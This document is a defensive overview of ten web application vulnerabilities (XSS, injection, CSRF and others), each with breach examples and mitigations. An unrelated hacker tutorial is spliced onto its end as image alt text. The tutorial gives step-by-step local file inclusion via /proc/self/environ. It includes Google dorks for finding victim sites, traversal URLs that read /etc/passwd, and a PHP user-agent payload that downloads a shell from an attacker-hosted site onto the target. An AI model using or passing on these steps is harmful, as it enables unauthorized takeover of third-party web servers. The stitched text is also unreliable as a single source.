1. Cross site scripting (XSS)
The problem: The “most prevalent and pernicious” Web application security vulnerability,
XSS flaws happen when an application sends user data to a Web browser
without first validating or encoding the content. This lets hackers
execute malicious scripts in a browser, letting them hijack user
sessions, deface Web sites, insert hostile content and conduct phishing
and malware attacks.
Attacks are usually executed with JavaScript, letting hackers manipulate any aspect of a page. In a worst-case scenario, a hacker could steal information and impersonate a user on a bank’s Web site.
Real-world example: PayPal was targeted last year when attackers redirected PayPal visitors to a page warning users
their accounts had been compromised. Victims were redirected to a
phishing site and prompted to enter PayPal login information, Social
Security numbers and credit card details.
How to protect users:
Use a whitelist to validate all incoming data, which rejects any data
that’s not specified on the whitelist as being good. This approach is
the opposite of blacklisting, which rejects only inputs known to be bad.
Additionally, use appropriate encoding of all output data. Validation
allows the detection of attacks, and encoding prevents any successful script injection from running in the browser.
2. Injection flaws
The problem: When user-supplied data is sent to interpreters as part of a
command or query, hackers trick the interpreter which interprets
text-based commands into executing unintended commands. Injection flaws
allow attackers to create, read, update, or delete any arbitrary data
available to the application. In the worst-case scenario, these flaws
allow an attacker to completely compromise the application and the
underlying systems, even bypassing deeply nested firewalled
environments.
Real-world example: Russian hackers broke into a Rhode Island government
Web site to steal credit card data in January 2006. Hackers claimed the
SQL injection attack stole 53,000 credit card numbers, while the
hosting service provider claims it was only 4,113.
How to protect users:
Avoid using interpreters if possible. If you must invoke an
interpreter, the key method to avoid injections is the use of safe APIs,
such as strongly typed parameterized queries and object relational
mapping libraries.
3. Malicious file execution
The problem: Hackers can perform remote code execution, remote
installation of rootkits, or completely compromise a system. Any type of
Web application is vulnerable if it accepts filenames or files from
users. The vulnerability may be most common with PHP, a widely used scripting language for Web development.
Real-world example: A teenage programmer discovered in 2002 that
Guess.com was vulnerable to attacks that could steal more than 200,000
customer records from the Guess database,
including names, credit card numbers and expiration dates. Guess agreed
to upgrade its information security the next year after being
investigated by the Federal Trade Commission.
How to protect users: Don’t use input supplied by users in any filename for server
based resources, such as images and script inclusions. Set firewall
rules to prevent new connections to external Web sites and internal
systems.
4. Insecure direct object reference
The problem: Attackers manipulate direct object references to gain unauthorized access to other objects. It happens when URLs or form parameters contain references to objects such as files, directories, database records or keys.
Banking Web sites commonly use a customer account number as the primary key, and may expose account numbers in the Web interface.
References to database keys are frequently exposed. An attacker can
attack these parameters simply by guessing or searching for another
valid key. Often, these are sequential in nature.
Real-world example: An Australian Taxation
Office site was hacked in 2000 by a user who changed a tax ID present in
a URL to access details on 17,000 companies. The hacker e-mailed the
17,000 businesses to notify them of the security breach.
How to protect users: Use an index, indirect reference map or another
indirect method to avoid exposure of direct object references. If you
can’t avoid direct references, authorize Web site visitors before using
them
5. Cross site request forgery
The problem simple and devastating this attack takes control of victim’s
browser when it is logged onto a Web site, and sends malicious requests
to the Web application. Web sites are extremely vulnerable, partly
because they tend to authorize requests based on session cookies or
“remember me” functionality. Banks are potential targets.
Ninety-nine percent of the applications on the Internet are susceptible to cross site request forgery.
Real-world example: A hacker known as Samy gained more than a million “friends” on MySpace.com
with a worm in late 2005, automatically including the message “Samy is
my hero” in thousands of MySpace pages. The attack itself may not have
been that harmful, but it was said to demonstrate the power of combining
cross site scripting with cross site request forgery. Another example
that came to light one year ago exposed a Google vulnerability allowing outside sites to change a Google user’s language preferences.
How to protect users: Don’t rely on credentials or tokens automatically
submitted by browsers. The only solution is to use a custom token that
the browser will not ‘remember’.
6. Information leakage and improper error handling
The problem: Error messages that applications generate and display to
users are useful to hackers when they violate privacy or unintentionally
leak information about the program’s configuration and internal
workings.
Web applications will often leak information about their internal state
through detailed or debug error messages. Often, this information can be
leveraged to launch or even automate more powerful attacks.
Real-world example: Information leakage goes well beyond error handling,
applying also to breaches occurring when confidential data is left in
plain sight. The ChoicePoint debacle in early 2005 thus falls somewhere
in this category. The records of 163,000 consumers were compromised
after criminals pretending to be legitimate ChoicePoint customers sought
details about individuals listed in the company’s database of personal
information. ChoicePoint subsequently limited its sales of information
products containing sensitive data.
How to protect users: Use a testing tool such
as OWASP’S WebScarab Project to see what errors your application
generates. Applications that have not been tested in this way will
almost certainly generate unexpected error output.
7. Broken authentication and session management
The problem: User and administrative accounts can be hijacked when
applications fail to protect credentials and session tokens from
beginning to end. Watch out for privacy violations and the undermining
of authorization and accountability controls.
Flaws in the main authentication mechanism are not uncommon, but
weaknesses are more often introduced through ancillary authentication
functions such as logout, password management, timeout, remember me,
secret question and account update .
Real-world example: Microsoft had to eliminate a vulnerability in
Hotmail that could have let malicious JavaScript programmers steal user
passwords in 2002. Revealed by a networking products reseller, the flaw
was vulnerable to e-mails containing Trojans that altered the Hotmail
user interface, forcing users to repeatedly reenter their passwords and
unwittingly send them to hackers.
How to protect users: Communication and credential storage has to be
secure. The SSL protocol for transmitting private documents should be
the only option for authenticated parts of the application, and
credentials should be stored in hashed or encrypted form.
Another tip: get rid of custom cookies used for authentication or session management.
8. Insecure cryptographic storage
The problem: Many Web developers fail to encrypt
sensitive data in storage, even though cryptography is a key part of
most Web applications. Even when encryption is present, it’s often
poorly designed, using inappropriate ciphers.
These flaws can lead to disclosure of sensitive data and compliance violations.
Real-world example: The TJX data breach that exposed 45.7 million credit
and debit card numbers. A Canadian government investigation faulted TJX
for failing to upgrade its data encryption system before it was
targeted by electronic eavesdropping starting in July 2005.
How to protect users: Don’t invent your own
cryptographic algorithms. Only use approved public algorithms such as
AES, RSA public key cryptography, and SHA-256 or better for hashing.
Furthermore, generate keys offline, and never transmit private keys over insecure channels.
9. Insecure communications
The problem: Similar to No. 8, this is a failure to encrypt network
traffic when it’s necessary to protect sensitive communications.
Attackers can access unprotected conversations, including transmissions
of credentials and sensitive information. For this reason, PCI standards
require encryption of credit card information transmitted over the
Internet.
Real-world example: TJX again. Investigators believe hackers used a telescope-shaped antenna and laptop computer
to steal data exchanged wirelessly between portable price-checking
devices, cash registers and store computers, the Wall Street Journal
reported.
“The $17.4-billion retailer’s wireless network had less security than
many people have on their home networks,” the Journal wrote. TJX was
using the WEP encoding system, rather than the more robust WPA.
How to protect users: Use SSL on any authenticated connection or during
the transmission of sensitive data, such as user credentials, credit
card details, health records and other private information. SSL or a
similar encryption protocol should also be applied to client, partner,
staff and administrative access to online systems. Use transport layer
security or protocol level encryption to protect communications between
parts of your infrastructure, such as Web servers and database systems.
10. Failure to restrict URL access
The problem: Some Web pages are supposed to
be restricted to a small subset of privileged users, such as
administrators. Yet often there’s no real protection of these pages, and
hackers can find the URLs by making educated guesses.
The attacks targeting this vulnerability are called forced browsing,
which encompasses guessing links and brute force techniques to find
unprotected pages.
Real-world example: A hole on the Macworld Conference & Expo Web
site this year let users get “Platinum” passes worth nearly $1,700 and
special access to a Steve Jobs keynote speech, all for free. The flaw
was code that evaluated privileges on the client but not on the server, letting people grab free passes via JavaScript on the browser, rather than the server.
How to protect users: Don’t assume users will be unaware of hidden URLs.
All URLs and business functions should be protected by an effective
access control mechanism that verifies the user’s role and privileges.
Make sure this is done … every step of the way, not just once towards
the beginning of any multistage process.
![Photo: Shell Via LFI And /Proc/Self/Environ
Basicly LFI stands for Local File Inclusion. This attack can allow the attacker to gain access to the server by upload a shell to the website.
I. This attack needs 3 main things to get it done:
> Shell --> You can find shells here:
http://www.r57.gen.tr/
> User Agent Switcher Addon -->
For Chrome:
https://chrome.google.com/webstore/detail/user-agent-switcher-for-c/djflhoibgkdhkhhcedjiklpkjnoahfmg
or FireFox:
https://addons.mozilla.org/en-US/firefox/addon/user-agent-switcher
> Hosted Website that allows PHP -->
000WebHost:
http://www.000webhost.com/
Zymic:
http://www.zymic.com/
110MB:
http://www.110mb.com/
II. Here are some google dorks to find the vulnerability:
inurl:index.php?id=
inurl:index.php?cat=
inurl:index.php?action=
inurl:index.php?content=
inurl:index.php?page=
III. Now we have to create a new USER AGENT and put in User Agent field the following code:
<?php phpinfo(); ?>
IV. Description field is the name of the user agent so put what ever you want like showed in the picture 1.
Remove other fields and create another user agent and in User Agent field put this code:
<?php $file = fopen("urshellname.php","w+"); $stream = fopen ("http://ursitename.com/urshellname.txt", "r"); while(!feof($stream)) { $shell .=fgets($stream); } fwrite($file, $shell); fclose($file);?>
It should look like showed in the picture 2.
V. Remmember to change the path in the code to your site and when you upload your shell it must be in .txt not .php format so that the code can read & excute it.
To check if website is vulnerable write ../ in after the paremeter like this:
http://www.site.com/index.php?id=..%2F
VI. If you got [function.include] then the website may be vulnerable. So after getting the error remove ../ and replace with it /etc/passwd like:
http://www.site.com/index.php?id=%2Fetc%2Fpasswd
VII. If you got another [function.include] then add ../ until you got many text ( http headers ) then the site is vulnerable so after you find the passwd file we have to replace /etc/passwd it to be:
/proc/self/environ
so the url will be something like this:
http://www.site.com/index.php?id=%2Fproc%2Fself%2Fenviron
VIII. Change your user agent to the first created user agent that contain <?php phpinfo(); ?> and reload the page, if you got a text similar to PHP VERSION then the site has excuted the code.
Uploading the shell is the easy same as the above one we have to change our user agent to the second one we created and remmember to fix the paths in your user agent and reload the page.
IX. To access your shell go to:
http://www.site.com/index.php?id=urshellname.php
If that didn't work then try this:
http://www.site.com/urshellname.php
X. Now you have access to the server and it seems that you uploaded your shell successfully
Hit like if you have found it useful!](https://fbcdn-sphotos-e-a.akamaihd.net/hphotos-ak-prn2/t1/p526x296/1902712_277336082430462_1109672197_n.png)
